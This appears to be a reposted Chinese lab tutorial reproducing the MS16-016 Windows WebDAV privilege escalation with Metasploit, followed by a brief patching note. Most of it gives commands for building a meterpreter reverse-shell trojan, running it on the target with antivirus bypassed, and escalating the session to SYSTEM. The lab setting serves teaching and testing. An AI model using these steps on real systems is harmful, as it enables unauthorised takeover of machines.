MS16_016 漏洞利用与安全加固

2024-03-18 23:44
文章标签 安全 漏洞 加固 016 ms16

本文主要是介绍MS16_016 漏洞利用与安全加固,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

文章目录

  • 环境说明
  • 1 MS16_016 简介
  • 2 MS16_016 复现过程
  • 3 MS16_016 安全加固

环境说明

  • 渗透机操作系统:kali-linux-2024.1-installer-amd64
  • 漏洞复现操作系:cn_windows_7_professional_with_sp1_x64_dvd_u_677031

1 MS16_016 简介

MS16_016 漏洞产生的原因是由于 Windows 中的 WebDAV(分布式创作和版本管理)未正确处理客户端发送的信息,攻击者可以运行经过特殊设计的应用程序,从而提升权限。

2 MS16_016 复现过程

在开始之前请关闭靶机的防火墙, 关于渗透机和靶机环境的搭建可自行Bing

靶机需 32位 Windows系统,一定是32位的操作系统,要不然不能成功实现,有知道原因的可以留言

步骤01、

打开网络拓补,单机 “启动”按钮,启动实现虚拟机,如图所示。
在这里插入图片描述

步骤02、

使用 ifconfig ipconfig命令分别获取渗透机和靶机的IP的地址,使用ping 命令进行网络 连通性测试,确保网络可达。

渗透机的IP 地址为 192.168.254.134,如图所示。

渗透机的IP地址

在这里插入图片描述

靶机的IP地址为 192.168.254.131,如图所示。

靶机的IP地址

在这里插入图片描述

步骤03、

在 Kali 终端下 使用 msfvenom -p windows/meterpreter/reverse_tcp LHOST=渗透机IP LPORT=木马通信端口 -f 输出格式 > 文件名 命令 生成木马文件,如图所示。

-p 指定需要使用的 载荷(Payload)

在这里插入图片描述

命令执行结束,在 /home/kali 目录下创建文件 theRavensea.exe ,如图所示。

文件生成在我们当前终端所在的目录下

在这里插入图片描述

步骤04、

使用 msfconsole 命令启动Metasploit 渗透测试平台,如图所示。

启动 Metasploit

在这里插入图片描述

步骤05、

使用 use /exploit/multi/handler 命令调用监听模块,同时使用 set payload windows/meterpreter/reverse_tcp 命令,设置本地监听的地址 192.168.254.134,设置监听端口 8888,最后使用 show options 命令查看最终的配置,如图所示。

查看配置参数 (端口号要与生成木马的端口号一致)

在这里插入图片描述

使用 run 或者 exploit 开启监听模式

运行溢出模块

在这里插入图片描述

步骤06、

将步骤3 中创建的木马文件复制到靶机中。复制过程中如果木马文件被安全软件删除,恢复即可。再运行木马,运行结束后,渗透机将会获得一个 meterpreter 会话,如图所示。

在靶机中打开 木马程序运行
在这里插入图片描述

获得 session 会话
在这里插入图片描述

步骤07、

使用 shell 命令启动 Meterpreter 下 cmd 的 Shell 终端,如图所示。

获取操作系统的 Shell

在这里插入图片描述

使用 whoami 命令查看当前的系统权限,如图所示。

查看用户权限

在这里插入图片描述

步骤08、

使用 background 命令将会话置于后台,会话编号为 1,如图所示。

exit 退出 Shell 终端

在这里插入图片描述

步骤09、

使用 use exploit/windows/local/ms16_016_webdav 命令调用漏洞利用模块,同时使用 set SESSION 命令设置刚才获得权限的会话,使用 set LPORT 命令设置载荷模块的监听的本地端口,然后使用 run 或者 exploit 命令运行该模块,如图所示。

使用 ms16_016_webdav 模块,将会话进入高权限进程
在这里插入图片描述

使用 ms16_016_webdav 模块,将会话注入高权限进程,执行结果可知会话被成功注入 “1628” 进程,如图所示。

获取注入的进程号
在这里插入图片描述

步骤10、

使用 set sessions 重新进入会话,如图所示。

进入注入进程,进程号为2720

在这里插入图片描述

步骤11、

使用 shell 命令启动 Meterpreter 下 cmd 的 Shell 终端,查看获取的会话权限,如图所示

会话的权限为 “system” , 即为系统权限,提升权限成功

在这里插入图片描述

3 MS16_016 安全加固

步骤12、

此安全更新可解决 Microsoft Windows 中的漏洞。 如果攻击者使用 Microsoft Web 分布式创作和版本控制(WebDAV)客户端将专门制作的输入发送到服务器,则漏洞可能会允许提升特权。

对于 Windows Vista、Windows Server 2008、Windows 7 和 Windows Server 2008 R2,以及 Windows 8.1、Windows Server 2012、Windows Server 2012 R2、Windows RT 8.1 和 Windows 10,此安全更新的评分为重要。 有关详细信息,请参阅 “受影响的软件 ”部分。

安全更新通过更正 WebDAV 验证内存的方式来解决漏洞。 有关漏洞的详细信息,请参阅 “漏洞信息 ”部分。

官方安全公告

在这里插入图片描述

这篇关于MS16_016 漏洞利用与安全加固的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/824073

相关文章

修复已被利用的高危漏洞! macOS Sequoia 15.6.1发布

《修复已被利用的高危漏洞!macOSSequoia15.6.1发布》苹果公司于今日发布了macOSSequoia15.6.1更新,这是去年9月推出的macOSSequoia操作... MACOS Sequoia 15.6.1 正式发布!此次更新修复了一个已被黑客利用的严重安全漏洞,并解决了部分中文用户反馈的

Nginx安全防护的多种方法

《Nginx安全防护的多种方法》在生产环境中,需要隐藏Nginx的版本号,以避免泄漏Nginx的版本,使攻击者不能针对特定版本进行攻击,下面就来介绍一下Nginx安全防护的方法,感兴趣的可以了解一下... 目录核心安全配置1.编译安装 Nginx2.隐藏版本号3.限制危险请求方法4.请求限制(CC攻击防御)

Java 线程安全与 volatile与单例模式问题及解决方案

《Java线程安全与volatile与单例模式问题及解决方案》文章主要讲解线程安全问题的五个成因(调度随机、变量修改、非原子操作、内存可见性、指令重排序)及解决方案,强调使用volatile关键字... 目录什么是线程安全线程安全问题的产生与解决方案线程的调度是随机的多个线程对同一个变量进行修改线程的修改操

Java中常见队列举例详解(非线程安全)

《Java中常见队列举例详解(非线程安全)》队列用于模拟队列这种数据结构,队列通常是指先进先出的容器,:本文主要介绍Java中常见队列(非线程安全)的相关资料,文中通过代码介绍的非常详细,需要的朋... 目录一.队列定义 二.常见接口 三.常见实现类3.1 ArrayDeque3.1.1 实现原理3.1.2

Python中文件读取操作漏洞深度解析与防护指南

《Python中文件读取操作漏洞深度解析与防护指南》在Web应用开发中,文件操作是最基础也最危险的功能之一,这篇文章将全面剖析Python环境中常见的文件读取漏洞类型,成因及防护方案,感兴趣的小伙伴可... 目录引言一、静态资源处理中的路径穿越漏洞1.1 典型漏洞场景1.2 os.path.join()的陷

JAVA保证HashMap线程安全的几种方式

《JAVA保证HashMap线程安全的几种方式》HashMap是线程不安全的,这意味着如果多个线程并发地访问和修改同一个HashMap实例,可能会导致数据不一致和其他线程安全问题,本文主要介绍了JAV... 目录1. 使用 Collections.synchronizedMap2. 使用 Concurren

Python从零打造高安全密码管理器

《Python从零打造高安全密码管理器》在数字化时代,每人平均需要管理近百个账号密码,本文将带大家深入剖析一个基于Python的高安全性密码管理器实现方案,感兴趣的小伙伴可以参考一下... 目录一、前言:为什么我们需要专属密码管理器二、系统架构设计2.1 安全加密体系2.2 密码强度策略三、核心功能实现详解

最新Spring Security实战教程之Spring Security安全框架指南

《最新SpringSecurity实战教程之SpringSecurity安全框架指南》SpringSecurity是Spring生态系统中的核心组件,提供认证、授权和防护机制,以保护应用免受各种安... 目录前言什么是Spring Security?同类框架对比Spring Security典型应用场景传统

浅析Rust多线程中如何安全的使用变量

《浅析Rust多线程中如何安全的使用变量》这篇文章主要为大家详细介绍了Rust如何在线程的闭包中安全的使用变量,包括共享变量和修改变量,文中的示例代码讲解详细,有需要的小伙伴可以参考下... 目录1. 向线程传递变量2. 多线程共享变量引用3. 多线程中修改变量4. 总结在Rust语言中,一个既引人入胜又可

SQL注入漏洞扫描之sqlmap详解

《SQL注入漏洞扫描之sqlmap详解》SQLMap是一款自动执行SQL注入的审计工具,支持多种SQL注入技术,包括布尔型盲注、时间型盲注、报错型注入、联合查询注入和堆叠查询注入... 目录what支持类型how---less-1为例1.检测网站是否存在sql注入漏洞的注入点2.列举可用数据库3.列举数据库